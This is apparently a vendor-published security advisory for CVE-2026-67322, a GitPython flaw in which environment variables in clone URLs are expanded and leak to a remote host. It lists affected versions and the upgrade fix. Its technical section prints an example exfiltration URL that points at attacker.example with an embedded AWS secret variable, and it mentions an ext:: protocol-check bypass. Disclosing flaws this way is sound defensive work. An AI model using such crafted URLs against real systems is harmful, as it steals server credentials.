CVE-2026-67322: GitPython environment-variable exfiltration in Repo.clone_from()

CVE-2026-67322 · Severity: high · CVSS 7.5 · Published 2026-08-01

GitPython is a popular Python library for working with Git repositories. A vulnerability in the clone_from() function allows attackers to extract sensitive environment variables (such as AWS credentials or GitHub tokens) from servers by controlling the clone URL. When a user attempts to clone a repository from an attacker-supplied URL containing special tokens, the library expands those tokens to the server's secrets before transmitting the URL over the network to the attacker's host, resulting in credential exposure.

Technologies: Gitpython Project Gitpython, gitpython (PyPI). Vendors: Gitpython Project, PyPI.

Quick answers

Is CVE-2026-67322 exploited in the wild?
No. Junglewise Threat Intelligence has no report of CVE-2026-67322 being exploited in the wild.
How severe is CVE-2026-67322?
High severity, with a CVSS score of 7.5, published 1 August 2026.
Which products and versions are affected?
gitpython (PyPI) ECOSYSTEM:introduced=0,fixed=3.1.52.
Is there a fix for CVE-2026-67322?
Yes. gitpython (PyPI): upgrade to 3.1.52 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
How is CVE-2026-67322 attacked?
It is attacked over the network.
Am I affected by CVE-2026-67322?
Check whether you run Gitpython Project Gitpython or gitpython (PyPI) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

How to fix

  • gitpython (PyPI): upgrade to 3.1.52 or later
    pip install "gitpython>=3.1.52"

Technical details

The vulnerability exists in GitPython's Git.polish_url() function, which unconditionally calls os.path.expandvars() on remote clone URLs before passing them to the git clone subprocess. On non-Cygwin platforms, this function expands environment variables embedded in the URL (e.g., $AWS_SECRET_ACCESS_KEY or ${GITHUB_TOKEN}) to their actual values. An attacker who controls the URL argument to Repo.clone_from() can craft a URL like https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git, which is expanded server-side to include the literal secret value. The git clone command then transmits this expanded URL (containing the secret) to the attacker-controlled host. Additionally, the unsafe-protocol check runs on the pre-expansion URL, allowing bypass by embedding ext:: transports in environment variables. GitPython versions before 3.1.52 are affected; the fix removes environment-variable expansion from remote URLs.

Affected products

  • GitPython GitPython before 3.1.52

Identifiers

  • CVE-2026-67322
  • GHSA-rwj8-pgh3-r573
  • PYSEC-2026-3842

Timeline

  • 2026-07-16: disclosed: GitHub Security Advisory GHSA-rwj8-pgh3-r573 published
  • 2026-08-01: advisory: CVE-2026-67322 published
  • 2026: patched: Fixed in GitPython 3.1.52

References

This page as Markdown. Free to reuse under CC BY 4.0 with a link back.